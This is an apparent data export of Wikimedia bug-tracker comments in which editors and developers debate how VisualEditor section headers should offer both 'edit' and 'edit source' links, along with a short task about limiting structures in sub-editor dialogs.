+I am concerned about anonymous editors. I know at some point it is likely an option will be provided in preferences to provide registered editors with a direct ""edit source"" link and/or clickable icon (maybe with explanatory tooltip).
+
+But unless a direct ""edit source"" and/or clickable icon link is provided to anonymous editors, then some anonymous editors will edit less. Just like I edited less today, and almost quit editing altogether for the day, due to my annoyance with this multi-stage method, and the many times I messed up.
+
+The point of the visual editor is to get people to edit more, not less. It should not get in the way of editing. It should aid editing. 
+
+Wikia refused to provide registered editors an option to put the source editor tab on top of the visual editor tab. So people had to do a multi-stage process for every single edit in order to get to the source editor. Click edit, then wait tediously for visual editor to load, then click the source tab. For every edit... So many, if not most, regular editors disabled the visual editor in preferences. Feedback and bug reports lessened, especially the best feedback from the best editors. 
+
+Similar to here now. I have to use a multi-stage process to get to the source editor. Aim at ""edit"" link or the line it is on, mouse over that ""edit"" link or line, aim better if necessary, wait for ""edit source"" link to show up, move mouse over to that link, click. Many times I accidentally, or by habit, click the edit link, and then have to click the back button, and start over. So I have to disable the Visual Editor. 
+
+Here is a possible icon method. ""Edit source"" tooltip can show up after mousing over the icon. And the small icon can have a transparent left and right border that makes the area wider for mousing over. So people will have no problem understanding that the icon is an ""edit source"" link. The visible part of the icon will be small, similar in size to the watchlist star at the top of pages. But the clickable part would extend to the left and right a bit to allow easier clicking.",,,1372374914,,PHID-USER-ebwxbdwkoxprr4cvvjvy,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,False,,,-1,,1,1,1,1,1,1,1,0,0,1,1,1,0,1,1,1,1,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,0,1,0,1,0,1,1,1,0,1,1,0,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,1,0
+242977,VisualEditor: Display a link to both VE and wikitext editor on every section header,"This matter is fixed. If you want to suggest additional/alternative implementations, please open a new feature request, not re-open a closed one.",,,1372362973,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+242973,VisualEditor: Display a link to both VE and wikitext editor on every section header,"Edit and edit source links so confusing I had to disable Visual Editor in preferences today. So you have lost another beta tester. A good one too since I have written many comments and bug reports about VE here and on the Wikipedia feedback page.
+
+I disabled Visual Editor (VE) in preferences today due to constantly clicking the ""edit"" link instead of the ""edit source"" link. I am talking about section editing.
+
+The source editing link only shows up after unintuitively mousing over the edit link and so I am constantly clicking the wrong link. 
+
+I almost always prefer editing with the source editor since I make frequent edits to tables, images, navboxes, templates, and reference formatting. All at a deep level of formatting, placement, refactoring, etc.. I am very fast in the source editor, and VE only edits partially and poorly at deeper levels, if at all.  
+
+It would be better to use an icon for the ""edit source"" links for sections. For ideas:
+*[[commons:User:Timeshifter/Sandbox 10]]
+*[[commons:Category:Square brackets]]
+*[[commons:Category:MediaWiki brackets]]
+
+""edit source"" can show up after mousing over the icon. That is much more intuitive. I did not notice the ""edit source"" link at all for awhile, since I was rapidly clicking the edit link. 
+
+This could drive away many editors. Anonymous editors especially. They have no ability to fix the problem by turning off visual editor in preferences. Many anonymous editors just do not like to log in, and are very used to editing in source editor. Some will be very irritated by the confusing clicking and mousing, just like me.",,,1372360425,,PHID-USER-ebwxbdwkoxprr4cvvjvy,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,False,,,-1,,1,0,1,0,1,1,1,0,0,1,1,0,0,1,0,1,1,1,1,0,1,0,1,0,1,1,0,1,1,1,1,1,1,1,1,1,0,0,1,1,1,1,1,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,1,1,1,0,1
+242969,VisualEditor: Display a link to both VE and wikitext editor on every section header,"**swalling** wrote:
+
+(In reply to comment #22)
+> I was doing my volunteering editing at http://ca.wikipedia.org when all of a
+> sudden I realized the new section double-editing links... 
+> 
+> Well done! I'm glad about everything I said against them, but it is true that
+> I'm also glad about your implementation. A good bridge indeed.
+
+
++1. If we have to live with both edit/edit source for now, this is a pretty elegant implementation.",,,1372313035,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,False,,,-1,,1,1,0,0,0,1,1,0,0,1,1,1,1,0,0,1,1,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,0,0,0,0,1,1,1,1,1,1,0,0,1
+242966,VisualEditor: Display a link to both VE and wikitext editor on every section header,Huge thanks. This looks and acts wonderfully.  A good mix of minimal-visuals and maximal-options. Much <3,,,1372312986,,PHID-USER-hphmqcx66p6d6gvmjzp7,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,False,,,-1,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1
+242959,VisualEditor: Display a link to both VE and wikitext editor on every section header,"I was doing my volunteering editing at http://ca.wikipedia.org when all of a sudden I realized the new section double-editing links... 
+
+Well done! I'm glad about everything I said against them, but it is true that I'm also glad about your implementation. A good bridge indeed.",,,1372312829,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,False,,,-1,,1,1,0,0,0,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0
+242953,VisualEditor: Display a link to both VE and wikitext editor on every section header,"This was done in gerrit 69984 which is now merged and will go out this afternoon. Thanks, MatmaRex!",,,1372279613,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,1,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+242946,VisualEditor: Display a link to both VE and wikitext editor on every section header,*** Bug 49950 has been marked as a duplicate of this bug. ***,,,1371827708,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+242940,VisualEditor: Display a link to both VE and wikitext editor on every section header,"Edit. Edit source [[]].
+
+Edit. [[]].
+
+-----------------
+
+Edit source [[]]. - At the top of the page. This should be one link covering both the text and the icon. 
+
+That way people are introduced to the shortcut icon for ""edit source"". One possibility: [[]]
+
+Headers will have just the shortcut icon link for ""edit source"": [[]]
+
+Some possibilities for the icon are found here:
+*[[commons:User:Timeshifter/Sandbox 10]]
+
+The graphics lab can quickly produce different icons and variations: 
+*[[Wikipedia:Graphics Lab]]
+*[[Wikipedia:Graphics Lab/Illustration workshop]]",,,1371747210,,PHID-USER-ebwxbdwkoxprr4cvvjvy,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,False,,,-2,,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1
+242931,VisualEditor: Display a link to both VE and wikitext editor on every section header,"Using an arrow is unintuitive and confusing (no indication what the arrow is actually for; can cause the user to expect the word next to it to be the label for the dropdown, not a separate option entirely especially given the way such arrows operate elsewhere in the skin; results in an extra step/click for something that really might as well be right there; etc). Also doesn't make sense when there are only two options anyway. Just do what James said at the beginning and put in two links.
+
+Later they can stick the edit source option into a tab or something in VE itself, but for now there is no reason to overcomplicate things elsewhere. 
+
+Good:
+
+Sandbox [edit] [edit source]",,,1371743257,,PHID-USER-nv2bu7uh3huvidyjo4lk,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,False,,,-2,,0,1,1,0,1,1,1,0,0,0,1,1,0,1,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,0,0,1,1,1,1,0,0,0,1,0,1,1,1,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,1,0,0,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,1
+242924,VisualEditor: Display a link to both VE and wikitext editor on every section header,"(In reply to comment #7)
+> (In reply to comment #6)
+> > I like this idea.  It would be nice if it worked for at least Monobook (in
+> > addition to Vector).
+> 
+> Completely agree. Not sure quite whether this treatment is suitable for
+> Monobook or whether we should invent a different one there?
+
+The section edit links look the same in all skins, this shouldn't look bad. Monobook already has some Vector-y bits tacked on top and this would be just a small icon.
+
+
+(In reply to comment #10)
+> There are also a lot of section edits on most large articles, sometimes in
+> close succession. I think we should be really cautious about enabling
+> multi-level controls and options on something this ubiquitous on a single
+> page.
+
+I'm afraid this doesn't support your argument :)
+
+Only showing one link will prevent users from editing sections of wikitext until they learn to disable the option (or just disable VE entirely), which has been my point all along. Wikitext section editing is the ""default"" mode of operation for many users (at a quick glance at recent changes, around 30-50% of en.wp edits are section edits) and it'd be awful for VE to make it unaccessible.",,,1371543971,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,True,,,-2,,1,1,1,0,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,0,0,1,1,0,1,0,1,0,1,1,1,1,1,0,1,0,1,0,1,0,1,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1
+242917,VisualEditor: Display a link to both VE and wikitext editor on every section header,"I like these bracket icons for the edit source links on headers: 
+[[commons:User:Timeshifter/Sandbox 10]]",,,1371529452,,PHID-USER-ebwxbdwkoxprr4cvvjvy,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+242910,VisualEditor: Display a link to both VE and wikitext editor on every section header,"(In reply to comment #14)
+> The only other short options would be [edit (source)] or [edit (code)], but
+> they're not perfect.
+
+The main problem with that route (which I should have listed, sorry) is that though ""Edit (source)"" works OK in English, it's not a safe expectation for non-English languages to be able to split the actions into two call-to-action labels, one of which is a left sub-string of the first, sadly. Also, it's a bit clunky.",,,1371527558,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,1,1,1,0,1,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,0,1,1,0,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,1
+242905,VisualEditor: Display a link to both VE and wikitext editor on every section header,"I agree with James and Matthew on this. 
+
+A preferences toggle, is for things you want to change permanently. 
+
+Whereas this is an instance where I might use VE-section-edit, and use source-section-edit, many times each day, for many months to come.
+
+I really like the arrow-dropdown idea. The cog idea is also good, but would be my second choice. 
+
+The only other short options would be [edit (source)] or [edit (code)], but they're not perfect.",,,1371521986,,PHID-USER-hphmqcx66p6d6gvmjzp7,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,False,,,-2,,1,0,0,0,1,1,1,0,0,0,0,1,0,1,0,1,0,1,1,0,1,0,1,0,0,1,0,0,1,1,0,1,0,0,1,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1
+242900,VisualEditor: Display a link to both VE and wikitext editor on every section header,"(In reply to comment #11)
+> (In reply to comment #8)
+> > Personally I think one of these two are the only viable options. The dropdown
+> > arrow or cog is too much unnecessary choice.
+> 
+> I was assuming if you just click 'edit', it would do the same thing as
+> clicking 'edit' up top (i.e. VE for those users with VE enabled).  Only if 
+> you click the arrow would you see the choice.
+
+Yes, that's exactly our plan - sorry if this wasn't clear. It's available, but not intrusive, and if you click the word ""edit"" link you'll end up in VE at that section.",,,1371521707,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,True,,,-2,,1,0,0,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,1
+242896,VisualEditor: Display a link to both VE and wikitext editor on every section header,"(In reply to comment #11)
+> I was assuming if you just click 'edit', it would do the same thing as
+> clicking 'edit' up top (i.e. VE for those users with VE enabled).  Only if you 
+> click the arrow would you see the choice.
+
+If we do want to avoid the drop-down for non-power users, one idea is to have the preference be like this (possible default shown)
+
+[✓] Show VisualEditor section link
+[ ] Show wikitext section link
+
+You could check either, both (in which case you get some control for choosing, possibly the drop-down), or neither (no section links, which is already an option).",,,1371521678,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,True,,,-2,,1,0,0,0,0,1,1,0,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,1,0,1,1,0,1,1,1,1,1,0,1,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+242892,VisualEditor: Display a link to both VE and wikitext editor on every section header,"(In reply to comment #8)
+> Personally I think one of these two are the only viable options. The dropdown
+> arrow or cog is too much unnecessary choice.
+
+I was assuming if you just click 'edit', it would do the same thing as clicking 'edit' up top (i.e. VE for those users with VE enabled).  Only if you click the arrow would you see the choice.
+
+> Most new editors will appreciate defaulting to VE, and
+> for power users who need edit source, this is where having a preference to 
+> change your default to edit source would come in handy (a preference I am 
+> guessing would free us up to also move ""Edit source"" at the top of the page in 
+> to a dropdown).
+
+As a power user, I agree with James.  Having both available on every section greatly increases the odds I'll continue to test VE when possible (and report bugs), while using wikitext when I know I have to.  Having power users opt out for all VE section edits is not conducive to that.",,,1371521421,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,True,,,-2,,1,0,1,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,1,1
+242889,VisualEditor: Display a link to both VE and wikitext editor on every section header,"**swalling** wrote:
+
+(In reply to comment #9)
+> (In reply to comment #8)
+> > > * ""[edit]"" going to one place unless you've got a preference in which case it
+> > > goes to another is… confusing
+> > > 
+> > > * ""[edit]"" OR ""[edit source]"" if you've got a preference is a bit messy, but
+> > > not that bad
+> > 
+> > Personally I think one of these two are the only viable options. The dropdown
+> > arrow or cog is too much unnecessary choice. The point of section edit links
+> > is to enable speedy editing of single sections, so introducing a dropdown is
+> > overloading things. Most new editors will appreciate defaulting to VE, and
+> > for power users who need edit source, this is where having a preference to
+> > change your default to edit source would come in handy (a preference I am
+> > guessing would free us up to also move ""Edit source"" at the top of the page in
+> > to a dropdown).
+> 
+> I disagree. I would say that, as an axiom, preferences are bad; they add
+> complexity for coders (expensive), bug testers (irritating) and most
+> importantly users (alienating).
+> 
+> In this case, we would also lose momentum as many power users might early-on
+> opt out of VisualEditor for section edits, and so never use it as much as
+> we'd
+> hope. We would lose their input, their bug reports and most importantly their
+> enculturation for new users of this being the 'right' way to edit. We don't
+> want another Vector roll-out disaster on our hands; ever day that Monobook
+> remains on the servers is another notch on that failure yardstick. :-(
+
+On the other hand, you potentially distract and confuse the heck out of new users by presenting a dropdown to edit source when they were about click edit. The conceptual difference between ""edit"" and ""edit source"" is not crystal clear to people who don't know the differences between VE and wikitext up front. 
+
+There are also a lot of section edits on most large articles, sometimes in close succession. I think we should be really cautious about enabling multi-level controls and options on something this ubiquitous on a single page.",,,1371521332,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,False,,,-2,,1,1,0,0,1,1,1,0,0,1,1,1,0,1,1,1,1,1,1,1,1,1,0,0,1,1,1,0,1,1,1,1,1,1,1,1,0,0,1,1,0,1,1,1,0,1,1,0,0,1,1,1,0,1,0,0,0,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,1,1
+242886,VisualEditor: Display a link to both VE and wikitext editor on every section header,"(In reply to comment #8)
+> > * ""[edit]"" going to one place unless you've got a preference in which case it
+> > goes to another is… confusing
+> > 
+> > * ""[edit]"" OR ""[edit source]"" if you've got a preference is a bit messy, but
+> > not that bad
+> 
+> Personally I think one of these two are the only viable options. The dropdown
+> arrow or cog is too much unnecessary choice. The point of section edit links
+> is to enable speedy editing of single sections, so introducing a dropdown is
+> overloading things. Most new editors will appreciate defaulting to VE, and
+> for power users who need edit source, this is where having a preference to
+> change your default to edit source would come in handy (a preference I am
+> guessing would free us up to also move ""Edit source"" at the top of the page in
+> to a dropdown).
+
+I disagree. I would say that, as an axiom, preferences are bad; they add complexity for coders (expensive), bug testers (irritating) and most importantly users (alienating).
+
+In this case, we would also lose momentum as many power users might early-on opt out of VisualEditor for section edits, and so never use it as much as we'd hope. We would lose their input, their bug reports and most importantly their enculturation for new users of this being the 'right' way to edit. We don't want another Vector roll-out disaster on our hands; ever day that Monobook remains on the servers is another notch on that failure yardstick. :-(",,,1371520516,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,True,,,-2,,1,0,0,0,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0,0,0,1,0,1,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,0,1,1,0,0,1,1,1,0,1,0,0,0,0,1,1,1,1,1,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,1,1
+242881,VisualEditor: Display a link to both VE and wikitext editor on every section header,"**swalling** wrote:
+
+
+> * ""[edit]"" going to one place unless you've got a preference in which case it
+> goes to another is… confusing
+> 
+> * ""[edit]"" OR ""[edit source]"" if you've got a preference is a bit messy, but
+> not that bad
+
+Personally I think one of these two are the only viable options. The dropdown arrow or cog is too much unnecessary choice. The point of section edit links is to enable speedy editing of single sections, so introducing a dropdown is overloading things. Most new editors will appreciate defaulting to VE, and for power users who need edit source, this is where having a preference to change your default to edit source would come in handy (a preference I am guessing would free us up to also move ""Edit source"" at the top of the page in to a dropdown).",,,1371520133,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,False,,,-2,,1,0,0,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,1,0,0,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,1,0,0,1,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,1,1
+242875,VisualEditor: Display a link to both VE and wikitext editor on every section header,"(In reply to comment #6)
+> I like this idea.  It would be nice if it worked for at least Monobook (in
+> addition to Vector).
+
+Completely agree. Not sure quite whether this treatment is suitable for Monobook or whether we should invent a different one there?",,,1371519315,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,True,,,-2,,0,0,1,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,0,0,1,1
+242867,VisualEditor: Display a link to both VE and wikitext editor on every section header,I like this idea.  It would be nice if it worked for at least Monobook (in addition to Vector).,,,1371516381,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0
+242860,VisualEditor: Display a link to both VE and wikitext editor on every section header,"Having discussed, we think we've found a design that's consistent with other usage: instead of having ""[edit | edit source]"" or ""[edit ⚙]"", we will have ""[edit ▾]"" with the down-arrow expanding to a menu (in the same way that Vector does) for ""edit source""). This is still easily accessible for users and open for all users, not just those with a preference, but does not take lots of screen estate (problem with the first possibility), and is easily discoverable (second possibility).",,,1371515280,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,True,,,-2,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,1,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,1,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+242852,VisualEditor: Display a link to both VE and wikitext editor on every section header,"(In reply to comment #3)
+> I like ""[edit ⚙]"" more - what do you think? MatmaRex discussed this with me
+> last night.
+
+So if you click 'edit', it always goes to VE, and if you click ⚙ (first time I saw the 'gear' character, but good usage), it always goes to wikitext?
+
+That seems reasonable if the wikitext target is big enough that it's not frustrating to click.",,,1371499202,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,0,1,0,1,0,1
+242844,VisualEditor: Display a link to both VE and wikitext editor on every section header,"(In reply to comment #2)
+> There is much discussion at bug 48429 about the need for both types of edit
+> links on every header. 
+> 
+> What might also work is an ""edit"" link (for VisualEditor) and an icon that
+> when
+> clicked will take one to the source editor for that section. The icon would
+> have a popup tooltip that says ""edit source"". It would show up when the mouse
+> cursor is run over the icon.
+
+My concern with this area is three fold:
+
+* ""[edit] [edit source]"" is a huge amount of extra chrome/clutter to enable for all users
+
+* ""[edit]"" going to one place unless you've got a preference in which case it goes to another is… confusing
+
+* ""[edit]"" OR ""[edit source]"" if you've got a preference is a bit messy, but not that bad
+
+I like ""[edit ⚙]"" more - what do you think? MatmaRex discussed this with me last night.",,,1371498837,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,True,,,-2,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,1,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,1,1,0,0,0,0,1,1,0,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1
+242837,VisualEditor: Display a link to both VE and wikitext editor on every section header,"There is much discussion at bug 48429 about the need for both types of edit links on every header. 
+
+What might also work is an ""edit"" link (for VisualEditor) and an icon that when clicked will take one to the source editor for that section. The icon would have a popup tooltip that says ""edit source"". It would show up when the mouse cursor is run over the icon.",,,1371472595,,PHID-USER-ebwxbdwkoxprr4cvvjvy,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,False,,,-2,,1,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+242831,VisualEditor: Display a link to both VE and wikitext editor on every section header,"See comment 23 and 24, at Bug 48429 wherein Bartosz Dziewoński has submitted a patch to Gerrit.
+
+(""https://gerrit.wikimedia.org/r/68868 (Gerrit Change
+I13bbb9549c999bb7301bbcf530706a813184425d)"")
+
+If his patch isn't accepted, then I would again urge High Priority for an alternative fix.",,,1371431206,,PHID-USER-hphmqcx66p6d6gvmjzp7,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,0
+51657,VisualEditor: Prevent certain kinds of structures in certain kinds of sub-editor dialogs,"In general, ""everything"" is allowed (text; annotations; inline and block images; headings; lists; HTML blocks; entities; transclusions; references; etc.), except for:
+
+Image captions
+-> No lists
+
+References
+-> No references (but transclusions of {{#tag:ref|text}} get around this for one level as an out ref; eww)
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50459",High,80.0,1371422340,1379657458.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-osst63lnijz6dlmc57xi,task_description,resolved,True,c1,2,True,False,True,-3,,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
